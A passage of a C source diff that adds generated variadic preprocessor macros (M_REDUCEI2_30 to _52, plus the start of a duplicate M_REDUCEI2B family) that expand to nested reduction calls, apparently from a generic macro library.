+#define M_REDUCEI2_30(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), f(d, _30))))))))))))))))))))))))))))))
+#define M_REDUCEI2_31(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), f(d, _31)))))))))))))))))))))))))))))))
+#define M_REDUCEI2_32(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), f(d, _32))))))))))))))))))))))))))))))))
+#define M_REDUCEI2_33(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), f(d, _33)))))))))))))))))))))))))))))))))
+#define M_REDUCEI2_34(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), f(d, _34))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2_35(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), f(d, _35)))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2_36(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), f(d, _36))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2_37(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), f(d, _37)))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2_38(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), f(d, _38))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2_39(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), f(d, _39)))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2_40(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), g(f(d, _39), f(d, _40))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2_41(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), g(f(d, _39), g(f(d, _40), f(d, _41)))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2_42(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), g(f(d, _39), g(f(d, _40), g(f(d, _41), f(d, _42))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2_43(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), g(f(d, _39), g(f(d, _40), g(f(d, _41), g(f(d, _42), f(d, _43)))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2_44(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), g(f(d, _39), g(f(d, _40), g(f(d, _41), g(f(d, _42), g(f(d, _43), f(d, _44))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2_45(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), g(f(d, _39), g(f(d, _40), g(f(d, _41), g(f(d, _42), g(f(d, _43), g(f(d, _44), f(d, _45)))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2_46(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), g(f(d, _39), g(f(d, _40), g(f(d, _41), g(f(d, _42), g(f(d, _43), g(f(d, _44), g(f(d, _45), f(d, _46))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2_47(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), g(f(d, _39), g(f(d, _40), g(f(d, _41), g(f(d, _42), g(f(d, _43), g(f(d, _44), g(f(d, _45), g(f(d, _46), f(d, _47)))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2_48(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), g(f(d, _39), g(f(d, _40), g(f(d, _41), g(f(d, _42), g(f(d, _43), g(f(d, _44), g(f(d, _45), g(f(d, _46), g(f(d, _47), f(d, _48))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2_49(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), g(f(d, _39), g(f(d, _40), g(f(d, _41), g(f(d, _42), g(f(d, _43), g(f(d, _44), g(f(d, _45), g(f(d, _46), g(f(d, _47), g(f(d, _48), f(d, _49)))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2_50(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), g(f(d, _39), g(f(d, _40), g(f(d, _41), g(f(d, _42), g(f(d, _43), g(f(d, _44), g(f(d, _45), g(f(d, _46), g(f(d, _47), g(f(d, _48), g(f(d, _49), f(d, _50))))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2_51(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), g(f(d, _39), g(f(d, _40), g(f(d, _41), g(f(d, _42), g(f(d, _43), g(f(d, _44), g(f(d, _45), g(f(d, _46), g(f(d, _47), g(f(d, _48), g(f(d, _49), g(f(d, _50), f(d, _51)))))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2_52(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), g(f(d, _39), g(f(d, _40), g(f(d, _41), g(f(d, _42), g(f(d, _43), g(f(d, _44), g(f(d, _45), g(f(d, _46), g(f(d, _47), g(f(d, _48), g(f(d, _49), g(f(d, _50), g(f(d, _51), f(d, _52))))))))))))))))))))))))))))))))))))))))))))))))))))
+
+
+/* Duplicate of M_REDUCE2 for use by API transformation */
+#define M_REDUCE2B(...)                    M_REDUCEI2B_0(__VA_ARGS__)
+#define M_REDUCEI2B_0(f, g, d, ...)        M_C(M_REDUCEI2B_, M_NARGS(__VA_ARGS__))(f, g, d, __VA_ARGS__)
+#define M_REDUCEI2B_1(f,g,d,_1) f(d, _1)
+#define M_REDUCEI2B_2(f,g,d,_1, _2) g(f(d, _1), f(d, _2))
+#define M_REDUCEI2B_3(f,g,d,_1, _2, _3) g(f(d, _1), g(f(d, _2), f(d, _3)))
+#define M_REDUCEI2B_4(f,g,d,_1, _2, _3, _4) g(f(d, _1), g(f(d, _2), g(f(d, _3), f(d, _4))))
+#define M_REDUCEI2B_5(f,g,d,_1, _2, _3, _4, _5) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), f(d, _5)))))
+#define M_REDUCEI2B_6(f,g,d,_1, _2, _3, _4, _5, _6) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), f(d, _6))))))
+#define M_REDUCEI2B_7(f,g,d,_1, _2, _3, _4, _5, _6, _7) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), f(d, _7)))))))
+#define M_REDUCEI2B_8(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), f(d, _8))))))))
+#define M_REDUCEI2B_9(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), f(d, _9)))))))))
+#define M_REDUCEI2B_10(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), f(d, _10))))))))))
+#define M_REDUCEI2B_11(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), f(d, _11)))))))))))
+#define M_REDUCEI2B_12(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), f(d, _12))))))))))))
+#define M_REDUCEI2B_13(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), f(d, _13)))))))))))))
+#define M_REDUCEI2B_14(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), f(d, _14))))))))))))))
+#define M_REDUCEI2B_15(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), f(d, _15)))))))))))))))
+#define M_REDUCEI2B_16(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), f(d, _16))))))))))))))))
+#define M_REDUCEI2B_17(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), f(d, _17)))))))))))))))))
+#define M_REDUCEI2B_18(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), f(d, _18))))))))))))))))))
